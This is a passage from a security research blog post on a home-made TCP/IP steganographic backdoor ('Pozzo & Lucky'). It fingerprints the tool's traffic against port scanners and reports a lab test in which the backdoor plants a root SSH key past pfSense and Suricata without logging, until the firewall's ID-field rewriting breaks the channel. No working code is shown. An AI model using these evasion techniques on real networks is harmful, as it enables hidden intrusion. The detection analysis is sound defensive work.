And that’s because the OSes use Sequential IDs as responses to port scans instead of random values. The Lucky RSTs have really small bins all over the histograms while the OS RSTs are all interpreted as single high bins (as their values are very close).

And let’s conclude the IP Identification field analysis with some notes. In the RFC that updates (almost redefines the ID field – RFC 6864) there is a concern about Covert Channels (Security Considerations, p16) and also the idea for middle devices (routers, firewalls) to rewrite the ID field of passing packets to improve untrackability and prevent OS fingerprinting (keep this in mind for a while). Generally this RFC is the big “Ooops!!!” on the single line definition of the ID field back in IP protocol’s first definition (RFC 791).

 

The Sequence Field in TCP

Here we are really losing the battle…

Let’s look at the histograms of the SYN packet ISN values :
(max value 2^32 = 4.294.967.296 ~ 4,294 * 10^-9)

RST_SEQ_Windows.png

It is clear that nmap is failing us… It uses the same Sequence Number to knock all ports… And that is weird too. Because the “nmap -sS” is a root process and could lazily craft the same packet all over (without changing the ISN, only the Destination Port), but why the OS powered nmap? Isn’t the OS stack responsible for changing the ISN value?

A closer look at the Source Port:SYN_SPORT_Linux.png

So nmap uses the same Source Port to knock all target ports, that’s why it uses the same ISN all over. So Pozzo & Lucky can’t resemble nmap. It’s final

But what about the netcat? Leaving Pozzo & Lucky alone with netcat in a histogram shows this:SYN_SEQ_netcat.png

And yes, netcat uses multiple Source Ports, as well.SYN_SPORT_netcat.png

Here you can see that Pozzo & Lucky, uses only a range of high ports (The OTP Scheme is responsible for that), while netcat is a lot more random. While this is a recognizable pattern for sure, I don’t believe that it is a Covert Channel evidence.

 

Those RSTs…

rst_seq_linux
The Pozzo & Lucky RSTs are so scattered that can’t be seen.

This is clearly the TCP protocol violation mentioned earlier. The RSTs Sequence Number is always ZERO unless Pozzo & Lucky hacked you. This can’t be hidden. This flawed us. At least NextGen Firewalls should catch this… – or #not.

 

There is more!

Protocol field values and violations aren’t the only deviations from port scans or normal protocol usage. And while other aspects can’t be proofs of Covert Channeling they can reveal patterns and indications that will need extra analysis. And extra analysis will eventually mean “let’s look at that box a little bit, what was its hostname again?“, and then it’s Game Over. Lucky is a process, a memory dump (even if hidden correctly) will reveal it.

 

And its Time, time, time…

The timeframes between packets from the same source always reveal patterns too. Masscan, zmap, nmap and netcat are all port scanners. But they are really different in this aspect.

This is a great histogram:RST_TIME_Linux.png

Pretty self explanatory! Netcat is slower. Maybe because it switches Source Ports all the time! But what about Pozzo & Lucky?

Pozzo & Lucky by design has a lot of overhead before sending and after receiving a packet. It calculates 4 SHA512 hashes for every packet, XORs and deChunks while making dictionary lookups for the Opcodes… If netcat needs an average 0.0005 sec between packets, Pozzo & Lucky needs 0.1-0.2 sec. That’s several orders of magnitude higher.

 

 

Hands on now! What About Firewalls?

Let’s now actually check the traces! Talked too much, did too little. I hate that. Let’s get our hands dirty! Let’s establish a very sneaky backdoor using Pozzo & Lucky.

The Test Setup

The Actors

I got 2 lil’ machines. Two Ubuntu 12.04.5 32-bit VMs, not fully upgraded (who has time for upgrades), that are gonna run the experiment. One will be Pozzo and the other will be Lucky. They will be at the 2 sides of a VM Firewall.

The Cop

Who else? pfSense with Suricata plugin (IDS/IPS) will be the testbench. Suricata will have all free rules enabled in full log mode. We are gonna see everything! Snort’s registered user rules won’t be absent too!

 The (Test) Case

Pozzo host will generate an SSH key pair, will use Pozzo & Lucky to send the public key to the other side (maybe in /root/.ssh/authorized_keys) and login to Lucky Host as root interactively.

The Outcome…

Suricata and pfSense logs for both interfaces.

What you will see:

At first I turn on the syslog listener and pipe it to a file (syslog.log). Then I watch the file for changes (the sed and grep panic is just used for formatting).

I then show that a spoofed scapy RST packet raises 2 alerts, 1 from Suricata IDS and 1 from the Firewall itself. I do this to demonstrate that the logging is working as expected.

Then I start Lucky and Pozzo (the order doesn’t matter). I create the .ssh/ directory at  /root/ and append my SSH Public key in the authorized_keys file. After that I log in with SSH but unfortunately the program crashed and you can’t see that.

What you saw:
 (Left+Up-Pozzo, Left+Down-scapy, Right+Up-Lucky, Right+Center-Syslogs from pfSense, Right+Down-netcat syslog listener)

As you can see there are NO LOGS. Low rate port scans DO NOT GET LOGGED without special Firewall rules. And even getting port scan logs is useless. TCP anomaly logs (from Suricata’s encoder.alerts) could be better. None saw the Remote Command Execution we had to that Right Box… Round 1 belongs to Pozzo & Lucky!

 

The Plot Twist…

pfSense can dodge Pozzo & Lucky shell in 2-3 mouse clicks, without even knowing it…

I was always wondering who the hell has actually read the protocol RFCs. Well I got my answer today! Firewall developers read them. And read them good!

In this video pfSense totally KO’s the Stego between the 2 hosts by altering the random bits in the header by itself. This is not a new idea either!
Here goes (RFC 6864, p16 – also referenced elsewhere):

[...] (IP Identification) field can more easily be used as a covert channel.
For some atomic datagrams it is now possible, and may be desirable,
to rewrite the IPv4 ID field to avoid its use as such a channel.

And pfSense got the second round…

Is there a third round?

No, there isn’t. Both opponent aren’t ready for this… pfSense lacks protocol sanitizers as it seems (ignoring a TCP violation is a good reason to think of this), while Pozzo & Lucky isn’t smart enough to work when its bandwidth is trimmed. It just jams, losing you the root shell you painfully earned.
Maybe someday…

 

 

Final thoughts on the project

A crazy ride in TCP/IP Protocols and their implementations!

Learned about the Linux Weak Host Network Stack (RFC1122, p63), the Kernel Stack Override issue (“which packet leaves first, kernel’s or scapy’s?“) and other similar frustrating network issues…
I learned all of them the hard way and “lost” hours on trying to work around them. Made me better. And older…

 

Da Code…

When the tool becomes stable enough I will upload most of it to my github page. I will omit the parts of Command Execution while keeping the data transfer methods intact. Anyone familiar with Python can put back the Command Execution features, but I don’t want to distribute them personally. People sometimes get irresponsible if there are no logs of their actions.
I will also upload the analysis scripts I created for this Article. All histograms were created with a single button push and I find that valuable enough to share! They need a bit more polishing and they’ll be ready!

Edit 19/1/18: The code is finally available as a covertutils backdoor here. Fully documented explaining all implementation details.

Edit 15/7/17: I didn’t manage to tidy the code up to the point to not be ashamed of it so I didn’t upload it. Instead I am currently developing a whole new framework, that models all kinds of shells, and let’s a security tool developer to create his/her own Post-Exploitation tool. This framework is public at time of writing, and it can be found in this post (repo included). An (lot cleaner) implementation of Pozzo & Lucky will emerge from this eventually. I apologize for the false-promise.

 

Next Project…

Maybe the world lacks a fully customizable Network Intrusion Detection System (IDS)… Or I will stop coding to actually sit for the SPSE course. Coding doesn’t leave enough time to code sometimes! Strange but true…